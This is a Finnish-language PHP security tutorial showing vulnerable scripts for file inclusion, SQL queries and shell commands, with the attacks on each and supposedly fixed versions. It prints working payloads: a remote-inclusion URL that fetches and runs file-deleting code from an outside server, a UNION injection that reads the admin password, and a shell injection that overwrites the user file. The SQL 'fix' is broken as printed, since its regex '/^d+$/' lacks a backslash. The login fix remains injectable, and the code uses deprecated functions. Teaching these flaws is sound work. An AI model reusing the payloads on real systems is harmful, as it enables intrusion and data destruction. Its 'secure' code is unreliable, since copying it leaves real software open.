PHP-tietoturvaopas

PHP on suosittu palvelinpuolen ohjelmointikieli, joka on niittänyt mainetta monipuolisena mutta samalla helposti opittavana kielenä. PHP:n helppoudessa on kuitenkin oma kääntöpuolensa - kokemattomammat ohjelmoijat saattavat huomaamattaan jättää hyvinkin vaarallisia aukkoja PHP-skripteihin. Tämän oppaan tarkoitus on esitellä yleisimpiä tietoturvaan liittyviä ongelmakohtia, ja neuvoa, kuinka niitä voidaan välttää.

include()-funktio

include() on hyvin tehokas ja käyttökelpoinen funktio. Se on olennainen osa esimerkiksi sellaisissa sivustoissa, jotka koostuvat useista alasivuista. Perinteinen, huonosti suunniteltu, skripti saattaa näyttää esimerkiksi seuraavalta (joka on esimerkissämme nimeltään index.php):

<html><head>
<title>Kotisivuni</title>
</head><body>
<?php
   $sivu = $_GET['sivu'];
   include("$sivu.html");
?>
</body></html>

Skriptille määritetään sivu-parametrilla halutun alisivun nimi, jolloin include()-funktio hakee alisivun HTML-koodin ja upottaa sen skriptin koodin sekaan. Oletetaan esimerkiksi, että meillä on tiedosto etusivu.html, jonka sisältö on seuraavanlainen:

<h1>Etusivu</h1>
<p>Tervetuloa sivuilleni</p>

Jos index.php-skriptiä kutsutaan tyyliin

index.php?sivu=etusivu

include()-funktio avaa tiedoston etusivu.html ja näyttää sieltä löytyvän koodin. Käyttäjän selaimelle välittyy siis seuraavanlainen HTML-koodi:

<html><head>
<title>Kotisivuni</title>
</head><body>
<h1>Etusivu</h1>
<p>Tervetuloa sivuilleni</p>
</body></html>

Tällaisessa toteutuksessa on kuitenkin vaaransa: Ilkeämielinen käyttäjä voi kutsua skriptiä tyyliin

index.php?sivu=http://ulkopuolinenpalvelin.fi/sivu

jolloin include()-funktio hakee tiedoston http://ulkopuolinenpalvelin.fi/sivu.html ja näyttää sen. Tällä tavalla sivuille voidaan upottaa sinne kuulumatonta materiaalia.

Ylläoleva ongelma saattaa tuntua pieneltä, koska sitä hyödyntämällä ei voida tehdä pysyvää tuhoa, ts. muuttaa sivuston sisältöä. Vaara tulee vastaan kuitenkin siinä, että tällä tavalla saatetaan päästä käsiksi normaalisti piilossa oleviin tiedostoihin (kuten salasanatiedostoihin). Lisäksi include()-funktiossa on ominaisuus, joka tekee ylläolevasta koodista äärimmäisen vaarallisen: Jos include() löytää tiedostosta <?php- ja ?>-tagein ympäröityä PHP-koodia, se suorittaa koodin!

Oletetaan, että osoitteesta http://ulkopuolinenpalvelin.fi/koodi.html löytyy tiedosto, jonka sisältö on seuraavanlainen:

<?php
   $tiedosto = $_GET['tiedosto'];
   unlink($tiedosto);
?>

Jos index.php-skriptiämme kutsutaan tyyliin

index.php?sivu=http://ulkopuolinenpalvelin.fi/koodi&
tiedosto=tarkea.html

skripti hakee ensin http://ulkopuolinenpalvelin.fi/koodi.html-tiedoston sisällön ja suorittaa sen sisältämän PHP-koodin. Tämä koodi tutkii tiedosto-parametrin arvoa ja tuhoaa parametrissa annetun tiedoston (tarkea.html) omalta palvelimeltamme!

include()-funktion väärinkäytöltä on onneksi helppo suojautua, riittää kun tarkistaa käyttäjän antamat syötteet ennen niiden syöttämistä include():lle. Alla on turvallinen versio index.php-skriptistä, joka hyväksyy ainoastaan sellaiset sivu-parametrin arvot, joissa käytetään pelkkiä kirjaimia ja/tai numeroita (näin ilkeämielinen käyttäjä ei voi viitata parametrilla toiseen hakemistoon tai toiselle palvelimelle):

<html><head>
<title>Kotisivuni</title>
</head><body>
<?php
   $sivu = $_GET['sivu'];
   if (preg_match("/^[a-zA-Z0-9]+$/", $sivu))
     include("$sivu.html");
   else
     echo "Virheellinen sivu-parametrin arvo!";
?>
</body></html>

Tietokannat

Oletetaan, että olemme rakentamassa verkkokauppaa PHP:llä. Käytössämme on tuote.php-niminen skripti, joka hakee halutun tuotteen nimen ja hinnan MySQL-tietokannasta ja näyttää ne käyttäjälle. Skriptin koodi on seuraavanlainen:

<html><head>
<title>Verkkokauppa</title>
</head><body>
<?php
   $id = $_GET['id'];
   mysql_connect("localhost", "tunnus", "salasana");
   mysql_select_db("tietokanta");
   $r = mysql_query("SELECT nimi, hinta FROM tuote WHERE id=$id");
   echo "Nimi: ".mysql_result($r, 0, "nimi");
   echo "Hinta: ".mysql_result($r, 0, "hinta");
   mysql_close();
?>
</body></html>

Skriptiä on siis tarkoitus kutsua välittämällä sille tuotteen yksilöivä numero id-parametrina (esim. tuote.php?id=1234). Ilkeämielinen käyttäjä voi kuitenkin kutsua skriptiä seuraavasti:

tuote.php?id=0+UNION+SELECT+salasana,+0+FROM+kayttaja+
WHERE+tunnus='admin'

Kun web-palvelin on käsitellyt pyynnön ja purkanut parametrin arvon, SQL-lause saa muodon

SELECT nimi, hinta FROM tuote WHERE id=0 UNION SELECT salasana, 0 FROM kayttaja WHERE tunnus='admin'

Jos tuotetta, jonka id-numero on 0, ei ole olemassa ja tietokannasta löytyy kayttaja-niminen taulu, jossa on ainakin kentät tunnus ja salasana, käyttäjä saa näkyviinsä admin-käyttäjän salasanan aivan kuin se olisi tuotteen nimi!

Kuten include()-funktion tapauksessa, tältäkin väärinkäytökseltä pystytään suojautumaan tarkistamalla käyttäjän syöte. Alla on skriptin korjattu versio, joka varmistaa, että id sisältää pelkkiä numeroita ennen sen syöttämistä mysql_query-funktiolle:

<html><head>
<title>Verkkokauppa</title>
</head><body>
<?php
   $id = $_GET['id'];
   if (preg_match("/^d+$/", $id)) {
     mysql_connect("localhost", "tunnus", "salasana");
     mysql_select_db("tietokanta");
     $r = mysql_query("SELECT nimi, hinta FROM tuote WHERE id=$id");
     echo "Nimi: ".mysql_result($r, 0, "nimi");
     echo "Hinta: ".mysql_result($r, 0, "hinta");
     mysql_close();
   }
   else echo "Virheellinen tuotenumero";
?>
</body></html>

Shell-komennot

Oletetaan, että meillä on tiedosto kayttajat.txt, joka pitää sisällään ohjelmoimamme järjestelmän käyttäjien tunnuksia ja salasanoja. Tämä tiedosto on muotoa:

tunnus1:salasana1
tunnus2:salasana2
...

Oletetaan lisäksi, että meillä on PHP-skripti login.php, joka lukee käyttäjän tunnuksen ja salasanan parametreistaan, ja ilmoittaa käyttäjälle, ovatko ne kelvollisia. Skriptin lähdekoodi on alla:

<html><head>
<title>Login</title>
</head><body>
<?php
   $tunnus = $_GET['tunnus'];
   $salasana = $_GET['salasana'];
   $tulos = `grep $tunnus kayttajat.txt`;
   if (preg_match("/^$tunnus:$salasana$/m", $tulos))
     echo "Oikein";
   else
     echo "Väärin";
?>
</body></html>

Kuten ylläolevasta koodista näkyy, skripti hakee ensin grep-komennolla kayttajat.txt-tiedostosta sen rivin, joka sisältää tunnus-parametrina annetun käyttäjätunnuksen ja siihen liittyvän salasanan. Sen jälkeen se vertaa tätä salasanaa salasana-parametrissa annettuun salasanaan ja tulostaa "Oikein", jos salasanat täsmäävät. Tällainen toteutus ei tietenkään ole järkevä, monestakin syystä, mutta tähän esimerkkiimme se sopii mainiosti.

Oletetaan, että ilkeämielinen käyttäjämme kutsuu skriptiämme seuraavasti:

login.php?tunnus=x+y+>

Kun parametri on URL-dekoodattu, suoritettava komento saa muodon:

grep x y > kayttajat.txt

Toisin sanoen, komento etsii kaikki ne y-nimisen tiedoston rivit, jotka sisältävät merkin x ja tallentaa nämä rivit kayttajat.txt-tiedoston päälle, tuhoten kaikki kayttajat.txt-tiedostosta löytyvät käyttäjätiedot.

Alla on skriptin korjattu versio, joka tarkistaa, että tunnus-parametrin arvo sisältää pelkkiä kirjaimia/numeroita, ennen kuin grep-komento suoritetaan. Näin myös tältäkin väärinkäytökseltä pystyttiin suojautumaan yksinkertaisella syötteen tarkistamisella.

<html><head>
<title>Login</title>
</head><body>
<?php
   $tunnus = $_GET['tunnus'];
   $salasana = $_GET['salasana'];
   if (preg_match("/^[a-zA-Z0-9]+$/", $tunnus)) {
     $tulos = `grep $tunnus kayttajat.txt`;
     if (preg_match("/^$tunnus:$salasana$/m", $tulos))
       echo "Oikein";
     else
       echo "Väärin";
   }
   else echo "Virheellinen käyttäjätunnus";
?>
</body></html>

Yhteenveto

Kuten olemme edellisistä esimerkkitapauksista oppineet, ykkössääntö väärinkäytösten torjunnassa on ehdottomasti syötteen tarkistus. Mitään käyttäjältä tulevaa tietoa ei saa olettaa tietyn muotoiseksi, jos tätä syötettä käytetään jossain kriittisessä komennossa! Tämä pätee myös web-lomakkeisiin, joissa on JavaScript-tarkistus, koska se on äärimmäisen helppo kiertää.

Kannattaa siis ehdottomasti ottaa tavaksi tarkistaa kaikki käyttäjän syötteet - mielellään myös ne, joita ei suoranaisesti voi väärinkäyttää. Tarkistuksiin soveltuvat yleensä parhaiten regexp-funktiot, kuten preg_match() ja ereg().


Sigmatic Oy   |   asiakaspalvelu@sigmatic.fi   |   (09) 6829 300 (ark. 08:00 - 17:00)   |   Eteläranta 12, 6. krs, 00130 Helsinki